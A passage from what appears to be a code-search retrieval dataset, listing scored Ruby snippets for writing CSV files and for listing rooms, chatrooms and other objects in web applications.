frequency_other, time_spent,\n purpose_gathering, purpose_hobbitry, purpose_fuel, purpose_relaxation,\n favorite_place, once_receive, once_payment, important_nature, important_wood,\n important_gathering, important_water, important_climate, important_health,\n important_ground, relation].map{|field| %(\"#{field}\")}.join(';')\n end", "title": "" }, { "docid": "61acd7f8b2585497723d1d04a2fb1003", "score": "0.6293446", "text": "def to_csv(**options)\n fields.to_csv(**options)\n end", "title": "" }, { "docid": "1a3b8b2a9e14aefbb997b866f8f94977", "score": "0.6288566", "text": "def save_students\n # open the file for writing\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend", "title": "" }, { "docid": "1a3b8b2a9e14aefbb997b866f8f94977", "score": "0.6288566", "text": "def save_students\n # open the file for writing\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend", "title": "" }, { "docid": "0712cb15a7c547db289d15ff47852f81", "score": "0.62866235", "text": "def write_to_csv\n CSV.open(\"articles.csv\", \"ab\") do |row|\n row << [@title, @description, @contents]\n end\n end", "title": "" }, { "docid": "4e6edb1b2993726b476e7e404db653c8", "score": "0.62849915", "text": "def generate_csv(filename = nil)\n raise 'Missing filename/path' unless filename\n ::CSV.open(filename, 'w') do |csv|\n csv << ['HEADER']\n csv << ['', 'timestamp', @timestamp]\n csv << ['', 'start_date', @start_date]\n csv << ['', 'end_date', @end_date]\n csv << ['', 'subject', @subject]\n csv << ['', 'currency_code', @currency_code]\n csv << ['', 'items_count', @items_count]\n csv << ['', 'amount_sum', @amount_sum]\n csv << ['', 'fee_amount_sum', @fee_amount_sum]\n csv << ['', 'net_amount_sum', @net_amount_sum]\n csv << ['ITEMS']\n csv << RubyPaypalNvp::Model::Item.attributes\n @items.each do |item|\n csv << item.to_csv\n end\n end\n end", "title": "" }, { "docid": "729e3a102e61783818e1dc9e5b5a2620", "score": "0.6281698", "text": "def save_to_csv\n CSV.open(@csv_file, 'wb') do |csv|\n @livros.each do |livro|\n csv << [livro.titulo, livro.autor, livro.avaliacao, livro.preco, livro.contador]\n end\n end\n end", "title": "" }, { "docid": "1e0c01cf6ecfe872bfac109801bfff7e", "score": "0.62798125", "text": "def to_csv\n\t\tCSV.generate do |csv|\n\t\t\tcsv << [\"CLASSROOM DETAILS\"]\n\t\t\tcsv << [\"classroom\", \"standard\",\"limit of student\", \"available students\",\"remaining students\"]\n\t\t\t@classroom= Classroom.find(id)\n\t\t\tcsv << [@classroom.C_Name, @classroom.standard,@classroom.studentlimit, @classroom.students.count, @[email protected]]\n\t\t\tcsv << [\"STUDENTS DETAILS\"]\n\t\t\tcsv << [\"name\", \"email\", \"standard\", \"created_at\",\"updated_at\"]\n\t\t\tself.students.all.each do |student|\n\t\t\t\tcsv << [student.name, student.email,student.classroom.standard,student.created_at,student.updated_at]\n\t\t\tend\n\t\t\tcsv << [\"TEACHER DETAILS\"]\n\t\t\tcsv << [\"name\", \"email\", \"mobile No\", \"qualification\", \"gender\", \"created_at\",\"updated_at\"]\n\t\t\tself.teachers.all.each do |teacher|\n\t\t\t\tcsv << [teacher.name, teacher.email, teacher.MobileNo, teacher.qualification, teacher.gender, teacher.created_at, teacher.updated_at]\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "b90fc84ec894e0b7dc0a938e59a9fbdf", "score": "0.62733454", "text": "def save_students\n file = File.open(\"students.csv\", \"w\") # opens the file in \"w\" (write) mode\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line # puts the csv_line to the file\n end\n file.close\nend", "title": "" }, { "docid": "7f911a23fe58a780812b8d7164ab3773", "score": "0.62703305", "text": "def export\n \n results=eval(\"#{model_class_name}.find(:all)\")\n outfile=eval(\"'#{model_name}_#{Time.now.strftime('%m-%d-%Y')}.csv'\")\n column_names=eval(\"#{model_class_name}.column_names\")\n \n csv_data = CSV.generate do |csv|\n csv << column_names\n results.each do |result| \n data_row = []\n column_names.each {|column| data_row << result[column]}\n csv << data_row\n end\n end\n\n send_data csv_data,\n :type => 'text/csv; charset=iso-8859-1; header=present',\n :disposition => \"attachment; filename=#{outfile}\"\n \n end", "title": "" }, { "docid": "3910ee4f98279965fb3d1609dd7a3e47", "score": "0.6267441", "text": "def build_csv_line\n [company.name,\n invoice_num,\n format_date(invoice_date),\n format_date(operation_date),\n amount.to_f,\n reporter,\n notes,\n status,\n get_categories]\n end", "title": "" }, { "docid": "d9e986972faa98ff47c48954929da792", "score": "0.62635046", "text": "def save_students\n file = File.open(\"students.csv\",\"w\")\n @students.each do |student|\n student_data = [student[:name], student[:cohort], student[:hobbies], student[:birth_country],]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n puts \"information saved to student.csv\"\n file.close\nend", "title": "" }, { "docid": "53fcac8c151bc320ede4d0df11a82810", "score": "0.626346", "text": "def to_csv\n CSV.generate do |csv|\n csv << PeriodOutput.members\n self.each do |p|\n csv << p.generate_output.to_a\n end\n end\n end", "title": "" }, { "docid": "a2fed99532b8282dc1e72e04fab0fb4c", "score": "0.6248047", "text": "def generated_csv(t_assignment, t_options)\n delimiter = ','\n CSV.generate(col_sep: delimiter) do |csv|\n csv << ReportsController.export_details_fields(t_options)\n ReportsController.export_details(csv, t_assignment, false)\n end\n end", "title": "" }, { "docid": "1b2874208355d18d71df7503c33bbf47", "score": "0.6244275", "text": "def save filename\n @cache.records \n csv_file = CSV.open filename, 'w' do |csv|\n\n csv << headers\n\n @cache.records.each{|record| csv << record.values}\n end\n end", "title": "" }, { "docid": "00cc57c95e2910235590a5a71c021160", "score": "0.62442136", "text": "def csv_tool headers, data\n CSV.open('csvexperimentfile.csv', 'wb') do |csv|\n csv << headers\n\n data.each do |column|\n csv << column\n end\n end\nend", "title": "" } ]
86b2f74a1f27818c63468a3dff980567
we can probably do something clever w/ method missing here
[ { "docid": "ad4ba8cb9a7122c47912398ec6ee49bf", "score": "0.0", "text": "def available?\n Holdings::Status::Available.new(@item).available?\n end", "title": "" } ]
[ { "docid": "ef1e4c0cc26e4eec8642a7d74e09c9d1", "score": "0.7017827", "text": "def private; end", "title": "" }, { "docid": "0b8b7b9666e4ed32bfd448198778e4e9", "score": "0.6343866", "text": "def probers; end", "title": "" }, { "docid": "65ffca17e416f77c52ce148aeafbd826", "score": "0.6135523", "text": "def schubert; end", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.6092729", "text": "def anchored; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.6048253", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.6048253", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.6048253", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.6048253", "text": "def specie; end", "title": "" }, { "docid": "991b6f12a63ef51664b84eb729f67eed", "score": "0.5804802", "text": "def formation; end", "title": "" }, { "docid": "ad244bd0c45d5d9274f7612fa6fee986", "score": "0.5766532", "text": "def suivre; end", "title": "" }, { "docid": "d88aeca0eb7d8aa34789deeabc5063cf", "score": "0.57342595", "text": "def offences_by; end", "title": "" }, { "docid": "a02f7382c73eef08b14f38d122f7bdb9", "score": "0.56952506", "text": "def custom; end", "title": "" }, { "docid": "a02f7382c73eef08b14f38d122f7bdb9", "score": "0.56952506", "text": "def custom; end", "title": "" }, { "docid": "a606ff314b37ba47be08b757ff538b5e", "score": "0.56381917", "text": "def processor; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.563783", "text": "def operations; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.563783", "text": "def operations; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5615743", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5615743", "text": "def implementation; end", "title": "" }, { "docid": "cf2231631bc862eb0c98d89194d62a88", "score": "0.56073946", "text": "def identify; end", "title": "" }, { "docid": "3fe16723cfe073a33d3a2398f331e395", "score": "0.5601611", "text": "def transformations; end", "title": "" }, { "docid": "8742865b78eb755e40bb1bff22199433", "score": "0.5595728", "text": "def internship_passed; end", "title": "" }, { "docid": "0eb3d9fe5f9f25d5d4681707022b9ab6", "score": "0.5587863", "text": "def ignores; end", "title": "" }, { "docid": "acb84cf7ec5cb9f480913c612a384abb", "score": "0.55625415", "text": "def probers=(_arg0); end", "title": "" }, { "docid": "65868f3890b7055ca6fbf5f330690d03", "score": "0.5539144", "text": "def method_731(base); end", "title": "" }, { "docid": "6a6ed5368f43a25fb9264e65117fa7d1", "score": "0.5529118", "text": "def internal; end", "title": "" }, { "docid": "7d73ca93aed82d814ee3609681895be5", "score": "0.5523071", "text": "def missed?; end", "title": "" }, { "docid": "5971f871580b6a6e5171c35946a30c95", "score": "0.5520203", "text": "def stderrs; end", "title": "" }, { "docid": "4f0a4656cc8371322fe53a0792e78206", "score": "0.5513742", "text": "def offences_by=(_arg0); end", "title": "" }, { "docid": "06b6203baf3c9311f502228839c5ab4e", "score": "0.55011445", "text": "def intensifier; end", "title": "" }, { "docid": "1f60ec3e87d82a4252630cec8fdc8950", "score": "0.5499136", "text": "def berlioz; end", "title": "" }, { "docid": "51cbc664905c5759f5e6775045d2aad7", "score": "0.54748416", "text": "def next() end", "title": "" }, { "docid": "51cbc664905c5759f5e6775045d2aad7", "score": "0.54748416", "text": "def next() end", "title": "" }, { "docid": "3b4df29992323899033bb22a35a64989", "score": "0.54731536", "text": "def malts; end", "title": "" }, { "docid": "bb2cf20999efd9fcacf7668301ebe565", "score": "0.54715407", "text": "def missing; end", "title": "" }, { "docid": "a7e46056aae02404670c78192ffb8f3f", "score": "0.5467169", "text": "def original_result; end", "title": "" }, { "docid": "a18186567d58d46fbcb43c48faf2ab4b", "score": "0.5462336", "text": "def apply\n\t\t\n\tend", "title": "" }, { "docid": "a18186567d58d46fbcb43c48faf2ab4b", "score": "0.5462336", "text": "def apply\n\t\t\n\tend", "title": "" }, { "docid": "27728c62eaf633c89fbd3df202a1cc36", "score": "0.544911", "text": "def checks; end", "title": "" }, { "docid": "cfbcefb24f0d0d9b60d1e4c0cf6273ba", "score": "0.5448024", "text": "def trd; end", "title": "" }, { "docid": "2c8e599b8829e8b044b3679f00d49206", "score": "0.54447204", "text": "def transform; end", "title": "" }, { "docid": "0225a9f23a0fa436bcdab339adc872dd", "score": "0.54401237", "text": "def same; end", "title": "" }, { "docid": "4a8a45e636a05760a8e8c55f7aa1c766", "score": "0.54288626", "text": "def terpene; end", "title": "" }, { "docid": "2d8d9f0527a44cd0febc5d6cbb3a22f2", "score": "0.5413501", "text": "def weber; end", "title": "" }, { "docid": "983a5b9de63b609981f45a05ecc2741f", "score": "0.5410506", "text": "def fallbacks=(_arg0); end", "title": "" }, { "docid": "d882f3a248ba33088a4284a47c263d0d", "score": "0.5395527", "text": "def missing?; end", "title": "" }, { "docid": "3103349d09f884a9193b8c4ac184a666", "score": "0.5369759", "text": "def wrapper; end", "title": "" }, { "docid": "07388179527877105fd7246db2b49188", "score": "0.53691137", "text": "def villian; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.5359751", "text": "def extra; end", "title": "" }, { "docid": "5ec366fbdcda59614c9cf8751dff8a08", "score": "0.5357573", "text": "def celebration; end", "title": "" }, { "docid": "cdd16ea92eae0350ca313fc870e10526", "score": "0.5349977", "text": "def who_we_are\r\n end", "title": "" }, { "docid": "50f3733b42b7b058f267c783cd6c6dd0", "score": "0.5328831", "text": "def calculated; end", "title": "" }, { "docid": "126c2c552b724e98ef167fa2195be768", "score": "0.5328565", "text": "def overload; end", "title": "" }, { "docid": "bd395ef5570ec94ad67ca3120a943fca", "score": "0.5323988", "text": "def operation; end", "title": "" }, { "docid": "5ad7e5c7a147626a2b0a2c5956411be5", "score": "0.53018594", "text": "def r; end", "title": "" }, { "docid": "5ad7e5c7a147626a2b0a2c5956411be5", "score": "0.53018594", "text": "def r; end", "title": "" }, { "docid": "5f6dce261862c867538d8e09ed30daea", "score": "0.5300065", "text": "def apply; nil; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5290951", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5290951", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5290951", "text": "def parts; end", "title": "" }, { "docid": "7090856f6f0462a10eea7d5770cc4a6c", "score": "0.52902186", "text": "def calls; end", "title": "" }, { "docid": "7090856f6f0462a10eea7d5770cc4a6c", "score": "0.52902186", "text": "def calls; end", "title": "" }, { "docid": "d996063a1bda83fd8644c8cbac831e61", "score": "0.52860695", "text": "def rassoc(p0) end", "title": "" }, { "docid": "f53478c78bfb65847a5452ef55a4e8ef", "score": "0.52742285", "text": "def transforms; end", "title": "" }, { "docid": "be04cb55a462491abd1acf5950c83572", "score": "0.527199", "text": "def jack_handey; end", "title": "" }, { "docid": "979b8c2bd77dc42693ba9a6a03001299", "score": "0.52589875", "text": "def fallbacks; end", "title": "" }, { "docid": "979b8c2bd77dc42693ba9a6a03001299", "score": "0.52589875", "text": "def fallbacks; end", "title": "" }, { "docid": "4ea6f5c11a3bc16e2394d273e748b292", "score": "0.5255355", "text": "def internal?; end", "title": "" }, { "docid": "0a39799e76643367f1b6bfac65569895", "score": "0.5254673", "text": "def used?; end", "title": "" }, { "docid": "7ff2011fa3dc45585a9272310eafb765", "score": "0.525264", "text": "def isolated; end", "title": "" }, { "docid": "7ff2011fa3dc45585a9272310eafb765", "score": "0.525264", "text": "def isolated; end", "title": "" }, { "docid": "dd68931a1a7f77eb4fd41ce35988a9bb", "score": "0.5242673", "text": "def returns; end", "title": "" }, { "docid": "005e6fc140cba1f79535dcb415d4bcd9", "score": "0.52407634", "text": "def strategy; end", "title": "" }, { "docid": "320068605fdced3ab5b0db7ffe7dc89d", "score": "0.5230482", "text": "def surge; end", "title": "" }, { "docid": "192c4c14531825c9c386ec33c61b445d", "score": "0.5226283", "text": "def issn; end", "title": "" }, { "docid": "255b128abb2eb262fd52b20ff68129b9", "score": "0.52241045", "text": "def escaper=(_); end", "title": "" }, { "docid": "2cc9969eb7789e4fe75844b6f57cb6b4", "score": "0.5216783", "text": "def refutal()\n end", "title": "" }, { "docid": "5cf20d5aba71d434e3118cf082e5b244", "score": "0.5208344", "text": "def schumann; end", "title": "" }, { "docid": "9d841b89340438a2d53048b8b0959e75", "score": "0.5206312", "text": "def sitemaps; end", "title": "" }, { "docid": "67e1e5bcf13dadff381ca08b8b2f3258", "score": "0.5203814", "text": "def ismn; end", "title": "" }, { "docid": "18b70bef0b7cb44fc22c66bf7965c231", "score": "0.5201761", "text": "def first; end", "title": "" }, { "docid": "18b70bef0b7cb44fc22c66bf7965c231", "score": "0.5201761", "text": "def first; end", "title": "" }, { "docid": "531eb9a85b5b3d2b679b55156dc6de28", "score": "0.5200417", "text": "def too_complex; end", "title": "" }, { "docid": "13289d4d24c54cff8b70fcaefc85384e", "score": "0.51922786", "text": "def verdi; end", "title": "" }, { "docid": "4ad19d3270d712a0b1427d62090e5438", "score": "0.51852345", "text": "def ibu; end", "title": "" }, { "docid": "14f6cf2fa94f8b3e6d4844f607dc12a0", "score": "0.5185098", "text": "def post_match() end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.51833165", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.51833165", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.51833165", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.51833165", "text": "def parslet; end", "title": "" }, { "docid": "27ea2a0eee0f97c5c53001f3b7939fc7", "score": "0.51796645", "text": "def valid; end", "title": "" }, { "docid": "507d46af90ebe99cf20b7e465255df88", "score": "0.5161814", "text": "def flag; end", "title": "" }, { "docid": "17102e01e076e02f807ce06f64213641", "score": "0.5159387", "text": "def ravel; end", "title": "" }, { "docid": "06b284a85c524f4a33b3c8ae0947c53f", "score": "0.5157695", "text": "def silly_adjective; end", "title": "" }, { "docid": "586bd7a7390acc24b73251f4c8fb4f86", "score": "0.5156072", "text": "def greibach_normal_form\n raise NotImplementedError\n end", "title": "" }, { "docid": "4e7f63d2e8327143b97af38c6fce7a24", "score": "0.5155494", "text": "def original; end", "title": "" }, { "docid": "28012efb188002843ef6e540786c5732", "score": "0.51510596", "text": "def rest_positionals; end", "title": "" }, { "docid": "05bcfa3ca95797d2625eeb08d92b5536", "score": "0.5142563", "text": "def result=(_); end", "title": "" }, { "docid": "b14829d2f65d2660b51171944c233567", "score": "0.5138838", "text": "def required_positionals; end", "title": "" }, { "docid": "41f058c46bfa2f9ee34b89cd410c3094", "score": "0.51307744", "text": "def code_of_conduct; end", "title": "" }, { "docid": "d8216257f367748eea163fc1aa556306", "score": "0.51278746", "text": "def bs; end", "title": "" }, { "docid": "b6ea57868f70d34431fd3ddce643afcb", "score": "0.51260066", "text": "def hiss; end", "title": "" } ]
f6b0ecf188f5fea5f958868cbdbe4143
list all objects in the room
[ { "docid": "7f217585868b4a161b7b5479dbbe3bcc", "score": "0.0", "text": "def describe_objects\r\n sorted_contents.each { |obj|\r\n article = 'aeiou'.include?(obj[0..0].downcase) ? 'an' : 'a'\r\n puts \"There is #{article} #{obj} on the ground.\"\r\n }\r\n end", "title": "" } ]
[ { "docid": "e93d50d4692fef70db5fbd11f6621ca4", "score": "0.734171", "text": "def list_all_rooms\n return @rooms\n end", "title": "" }, { "docid": "44a5bc09e2e6e170133e5390e4e91d7a", "score": "0.7336335", "text": "def index\n @rooms = Room.all.map do |rm|\n Room.cleanFetch(rm, current_user)\n end\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "4c63679374b9c6c86e671a2d6918a2fc", "score": "0.7126378", "text": "def index\n @rooms = Room.all\n end", "title": "" }, { "docid": "3b7481df5a910ef3a4c4e1173c7b8874", "score": "0.712624", "text": "def show\n @rooms = Room.all\n end", "title": "" }, { "docid": "6524de9f61908de9530b187c03695a8c", "score": "0.70834166", "text": "def rooms_list\n\t\t\[email protected] {|room| \"Room: #{room.id}\"}.join(\", \")\n\t\tend", "title": "" }, { "docid": "ef0e14b1223674ffe073d2c458ed12c2", "score": "0.70624804", "text": "def room_list\n\t\t@room = Accommodation.find_all_by_host_id(@current_user.id)\n\t\t@date = RoomBooking.find_all_by_room_id(@room)\n \tend", "title": "" }, { "docid": "440a1d90d0a6a1cf819affd2d78ad9f3", "score": "0.7021543", "text": "def list_rooms\n @rooms.each do |room_name, cap| \n puts \"#{room_name} #{cap.available_space()}\"\n end\n end", "title": "" }, { "docid": "42e1ab9d12537253a4d75a3868dececa", "score": "0.69961876", "text": "def all_objects; end", "title": "" }, { "docid": "d2fa4956f9b85d758c391c5c1b5505cd", "score": "0.6928605", "text": "def list_all_rooms_in_hotel\n\n return @rooms.map { |room| room }\n end", "title": "" }, { "docid": "15c12e4f97b66b0e4a7ce6c669f339ca", "score": "0.691919", "text": "def index\n @rooms = current_user.rooms.all\n end", "title": "" }, { "docid": "268c8d087cf978f8a4c1c650d424be7a", "score": "0.6909951", "text": "def room_list\n @rooms = Room.where(active: true)\n render partial: \"room_list\"\n end", "title": "" }, { "docid": "24b3086e126052453f01f5e61b6da6c6", "score": "0.6885454", "text": "def index\n @room_users = RoomUser.all\n end", "title": "" }, { "docid": "5eab369c3e003dfc4ac4fa42b5fc0a76", "score": "0.68771356", "text": "def index\n @about_rooms = AboutRoom.all\n end", "title": "" }, { "docid": "d7938f96297f2a3004d7706d77487404", "score": "0.6842916", "text": "def index\n @class_rooms = ClassRoom.all\n end", "title": "" }, { "docid": "71a9958e59cbe3826eba432717e5840a", "score": "0.6802203", "text": "def index\n @restrooms = Restroom.all\n end", "title": "" }, { "docid": "0af28704df6a9a5bb2fe53d686a6084c", "score": "0.6786662", "text": "def show\n @room_items = RoomItem.all\n end", "title": "" }, { "docid": "6b2636e55748d830af58d22f398095f5", "score": "0.67307454", "text": "def index\n\t\t@chatrooms = Chatroom.all\n\tend", "title": "" }, { "docid": "efdff8bd62280e654c5dd57777ecc349", "score": "0.67013925", "text": "def index\n\t\t#this is the home page\n\t\t@rooms = Room.limit(5)\n\tend", "title": "" }, { "docid": "3d910624615e8861d59cae01468dec46", "score": "0.66997546", "text": "def show\n @rooms = @blueprint.rooms\n end", "title": "" }, { "docid": "41da099c3f65685b762f870f7c2f9985", "score": "0.66933674", "text": "def index\n @chat_rooms = ChatRoom.all\n end", "title": "" }, { "docid": "7ddafc4a6923d1f7d2db086de967aa50", "score": "0.66837525", "text": "def index\n @occupied_rooms = OccupiedRoom.all\n end", "title": "" }, { "docid": "47219624b8aaf81a789c4b97a29a4660", "score": "0.6642609", "text": "def get_rooms\n # DO NOT DELETE. Condition used for load testing\n @user_id = (params.has_key? :user_id) ? params[:user_id] : session[:user_id]\n @room_ids = Member.where(user_id: @user_id).pluck(:room_id)\n\n @rooms = Room.find(@room_ids)\n #render json: @rooms\n \n @roomList = []\n #@rooms.each { |room|\n for room in @rooms do\n #@room = Room.find_by(id: room_id)\n temp = {}\n temp.store(\"room_id\",room.id)\n temp.store(\"room_name\", room.name) \n temp.store(\"room_token\", room.token)\n @roomList.push(temp)\n end\n render json: {rooms: @roomList}, status: 200\n end", "title": "" }, { "docid": "9e4dacf91b49fd06774ba6411d4ae35f", "score": "0.6639956", "text": "def index\n\t\t@rooms = Room.order(updated_at: :desc)\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @rooms }\n\t\tend\n\tend", "title": "" }, { "docid": "dbd32513df725568c1999267968f08ec", "score": "0.6639495", "text": "def get_all_rooms(params = {})\n res = call_api(:method => :get, :uri => @api_base.merge(\"room\"), :query_params => params)\n return unless res.successful?\n Rooms.new(res.data)\n end", "title": "" }, { "docid": "7bf8c2021f1c94afd2421e0677172c09", "score": "0.6635917", "text": "def index\n @meetingrooms = @space.meetingrooms.all\n end", "title": "" }, { "docid": "150618211cca8d8016cd60ba03f32082", "score": "0.6633568", "text": "def index\n @roomtables = Roomtable.all\n end", "title": "" }, { "docid": "7e76e0e4140a21c51b02346eb5b33746", "score": "0.66298205", "text": "def list_reserved_rooms\n unless @rooms.empty?\n @rooms.each do |key, room|\n puts room.report_lister\n end\n end\n end", "title": "" }, { "docid": "780ac42c29b481ca6ce2256d8bef36c1", "score": "0.66288555", "text": "def index\n @empty_rooms = EmptyRoom.all\n end", "title": "" }, { "docid": "4f8fdaf4b8a614fbcc86c3d305fab8db", "score": "0.6608491", "text": "def index\n @rooms_count = Room.all.count\n\n search = \"(r:Room)-[]->(b:Building)\"\n request = ActiveGraph::Base.new_query.match(search).order(@sort_string).skip(@skip).limit(@limit)\n\n @rooms = request.pluck('r')\n end", "title": "" }, { "docid": "b53a5b3eb4bc682ea66f08d3c4910ddd", "score": "0.66032296", "text": "def index\n @request_rooms = RequestRoom.all\n end", "title": "" }, { "docid": "06495ba53ef239831b0dfe71e8f44e13", "score": "0.660297", "text": "def listObjects _obj, _args\n \"_obj listObjects _args;\" \n end", "title": "" }, { "docid": "6c10fa7a4e070b0393c30ce39034f1a5", "score": "0.6597577", "text": "def index\n @kind_rooms = KindRoom.all\n end", "title": "" }, { "docid": "9f21d46eb3b804e2e7e8f2dbd505549e", "score": "0.6538758", "text": "def all_objects\n objects = {\n \"Strawberries\" => get_strawberries,\n \"Mushrooms\" => get_mushrooms,\n \"Monsters\" => get_monsters,\n \"Persons\" => get_persons\n }\n end", "title": "" }, { "docid": "97808e5e805bde5cbd220db084f8d7d2", "score": "0.65372086", "text": "def index\n @classrooms = Classroom.all\n end", "title": "" }, { "docid": "8c3b7e5b06309ba8f1119a4a51e965ec", "score": "0.65169454", "text": "def index\n @rooms = Room.paginate(:page => params[:page])\n end", "title": "" }, { "docid": "9788e50af599d4877f6ffd51359e9d4b", "score": "0.651323", "text": "def index\n @employee_rooms = EmployeeRoom.all\n end", "title": "" }, { "docid": "f4d18f0ec18fe0c7572b39c27fa71065", "score": "0.651232", "text": "def all_objects(opts = {})\n objects(\"*\", opts)\n end", "title": "" }, { "docid": "a0535b7e5525295d0c6f4ff877da83b8", "score": "0.65004575", "text": "def list \n @@Ordenadores\n end", "title": "" }, { "docid": "cbaebf2502ee4c2958c03a728518bad8", "score": "0.64910644", "text": "def index\n @chatrooms = Chatroom.all\n end", "title": "" }, { "docid": "cbaebf2502ee4c2958c03a728518bad8", "score": "0.64910644", "text": "def index\n @chatrooms = Chatroom.all\n end", "title": "" }, { "docid": "53e0267344c708cbaf0b158ab1171ca2", "score": "0.64790606", "text": "def all_rooms\n @rooms.each do |room|\n puts \"Room Number: #{room.number} | Nightly Rate: #{room.cost}\"\n end \n end", "title": "" }, { "docid": "12013473bab47e6e00c915e6bd24b325", "score": "0.64368194", "text": "def index\n @rooms = Room.all\n respond_to do | format |\n format.html\n format.json\n end\n \n end", "title": "" }, { "docid": "4288f031fab2c525457f526bd9265175", "score": "0.6428416", "text": "def index\n @classrooms = ClientApi.classroom_all\n end", "title": "" }, { "docid": "7ef832925852b5c9e594463f5659389d", "score": "0.6422058", "text": "def room_list\n @roomtype = DetailRoom.all_types\n @time = Room.all_times\n @day_list = Room.all_days\n if session[:admin] == nil\n redirect_to rooms_path\n end\n @admin = session[:admin]\n @rooms = {} \n @roomtype.each do |type|\n @rooms[type] = DetailRoom.find_all_by_room_type(type)\n end \n end", "title": "" }, { "docid": "d015e4b495574f4e9525b12803d86276", "score": "0.64105403", "text": "def index\n @rooms = Room.all\n @rooms = @venue.rooms.all\n end", "title": "" }, { "docid": "fc82b69dd8bcb49e92e550bd08a3b61d", "score": "0.6367817", "text": "def index\n @roomtypes = Roomtype.all\n end", "title": "" }, { "docid": "38a5cc54ab395f140ec9de64a9a7315a", "score": "0.6360283", "text": "def index\n @reservation_rooms = ReservationRoom.all\n end", "title": "" }, { "docid": "0d832398a711b95d577b4ec2c6b07e5f", "score": "0.63559884", "text": "def index\n @room_managers = RoomManager.order(\"lower(tildes(name))\")\n end", "title": "" }, { "docid": "21ff7bf50fa60c36fd5a3eab8a499efd", "score": "0.6347994", "text": "def index\n @rooms = Room.all\n \n respond_to do |f|\n f.html\n end\n end", "title": "" }, { "docid": "e61b5c0a735b1e62cd454e5fbd2c9e40", "score": "0.63476896", "text": "def index\n @room_managements = RoomManagement.all.order(\"room_no\")\n end", "title": "" }, { "docid": "8bf69651ff4f85de8b813b025465fcbc", "score": "0.6341769", "text": "def index\n @my_rooms = current_user.message_rooms.index_by(&:id)\n @all_message_rooms = MessageRoom.all\n end", "title": "" }, { "docid": "9e0613783b0f2cf514a9aefdf4dd2d32", "score": "0.6327127", "text": "def index\n @chat_rooms = current_user.chat_rooms\n end", "title": "" }, { "docid": "7d480a1ffb704c0737b71a83b684ca4e", "score": "0.63250583", "text": "def index\n @room_informations = RoomInformation.all\n end", "title": "" }, { "docid": "8599e3fb26ccd3ea88562f312d03703a", "score": "0.6307783", "text": "def index\n @rooms = Room.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rooms }\n end\n end", "title": "" }, { "docid": "85719e462fed2496c3068dcc405c32e5", "score": "0.62984514", "text": "def all\n @list\n end", "title": "" }, { "docid": "e12d903133104f65769ac08e3135483f", "score": "0.6247004", "text": "def index\n @objets = Objet.all\n end", "title": "" }, { "docid": "b0a50b3bcd30b559ff9c6d5ce35c8e03", "score": "0.6230866", "text": "def index\n @reserved_rooms = ReservedRoom.all\n end", "title": "" }, { "docid": "22a61b4158f2c602eea1ccf8a3b53973", "score": "0.622738", "text": "def index\n @gameobjects = Gameobject.all\n end", "title": "" }, { "docid": "b1a98aae0cb5bc6859329c94ac42c092", "score": "0.6220731", "text": "def index\n @hostel_rooms = HostelRoom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hostel_rooms }\n end\n end", "title": 